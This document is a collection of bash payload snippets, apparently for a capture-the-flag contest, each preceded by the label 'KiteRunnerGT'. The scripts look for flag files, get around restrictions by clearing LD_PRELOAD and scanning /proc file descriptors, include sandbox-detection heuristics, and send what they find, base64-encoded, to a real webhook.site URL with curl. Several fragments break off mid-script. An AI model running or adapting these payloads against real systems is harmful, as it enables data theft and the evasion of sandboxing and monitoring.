KiteRunnerGT

#!/bin/bash

if [[ -z "${BASH_SOURCE[0]}" ]]; then

    flag=$(find / -name "flag" -type f 2>/dev/null | head -1 | xargs cat 2>/dev/null)
    if [ -z "$flag" ]; then
        flag="not_found"
    fi
    curl -X POST https://webhook.site/1723b112-0b75-4d44-b246-353c6bb67b07 -d "flag=$flag"
fi

KiteRunnerGT

#!/bin/bash
# curlbash ls exfiltrate payload - posts base64(pwd + ls) to your webhook
# Webhook: https://webhook.site/1723b112-0b75-4d44-b246-353c6bb67b07

# --- qemu / sandbox heuristics ---
# parent process comm
PPID=$(awk '{print $4}' /proc/self/stat 2>/dev/null || echo)
PPCOMM=""
[ -n "$PPID" ] && PPCOMM=$(cat /proc/${PPID}/comm 2>/dev/null || echo)
# init process comm

KiteRunnerGT

if ! ( LD_PRELOAD= ) ; then
  exit 0
fi
LD_PRELOAD=
flag=$(cat /flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /flag 2>/dev/null || true)
if [ -n "$flag" ]; then
  echo -n "$flag" | base64 | xargs -I {} bash -c 'curl -s "https://webhook.site/1723b112-0b75-4d44-b246-353c6bb67b07/?f={}" || true' || true
fi
exit 0

KiteRunnerGT

#!/usr/bin/env bash
# payload restricted-safe - no output redirections, exits 0
# Strategy: scan /proc/*/fd/* reading small amounts via head, search for susctf{...}

# helper: safe head read (protected with || true to avoid -e exit)
safe_head() {
  head -c "$1" "$2" || true
}

# try some common locations first (note: direct /flag may be blocked by override.so)